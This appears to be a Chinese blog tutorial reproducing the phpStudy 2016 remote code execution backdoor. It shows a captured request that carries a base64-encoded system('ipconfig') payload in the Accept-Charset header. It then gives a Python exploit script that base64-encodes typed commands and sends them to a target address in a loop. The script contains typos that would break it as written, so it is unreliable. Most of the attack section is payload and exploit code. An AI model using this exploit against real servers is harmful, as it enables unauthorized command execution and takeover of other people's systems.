phpstudy_2016_RCE 漏洞复现以及exp编写

RCE漏洞

phpstudy漏洞复现

编写exp

RCE漏洞

         RCE(远程代码执行漏洞),可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。通常是由于服务器没有对执行的命令或代码做严格的过滤,最终导致攻击者上传的恶意命令或代码被执行。

phpstudy漏洞复现

        启动phpstudy,我使用的phpstudy版本是2016_5.4.45。

        访问phpstudy页面,使用bp抓包。

        将数据包发送至Repeater重放模块

         然后就是插入漏洞验证代码,可以看到重放包后页面返回了执行ipconfig后的回显

                Accept-Charset: c3lzdGVtKCdpcGNvbmZpZycpOw==
                Accept-Encoding: gzip,deflate(原数据包内若已经有了记得去空格)

         ’c3lzdGVtKCdpcGNvbmZpZycpOw==‘其实就是ipconfig使用base64编码后的命令,也就是说我们可以通过修改数据包内容来达到远程命令执行的效果。

 编写exp

# phpstudy_2016_rce.py

import requests
import base64

while True:
    url = "http://192.168.66.29"
    inp = input("Please input:")
    cmd = f"system('{inp}');"        #编写命令执行代码
    cmd = base64.b64encode(cmd.encode())    #对代码进行base64编码

    headers = {
        "User-Agent"    :    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0)  Gecko/20100101 Firefox/115.0",
        "Accept-Charset"    :    cmd,                #构造头部  
        "Accept-Encoding"    :    "gzip,deflate"
    } 
    res = request.get(url = url , heraders = headers)    #请求包
    reslut = res.content.decode("gb2312")        #gb2312编码
    reslut = reslut[0:reslut.finf("<DOCTYPE html")]    #利用切片过滤回显
    print(reslut)
    if inp == "qu" :        #输入qu响应退出
        break

效果如下

        

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值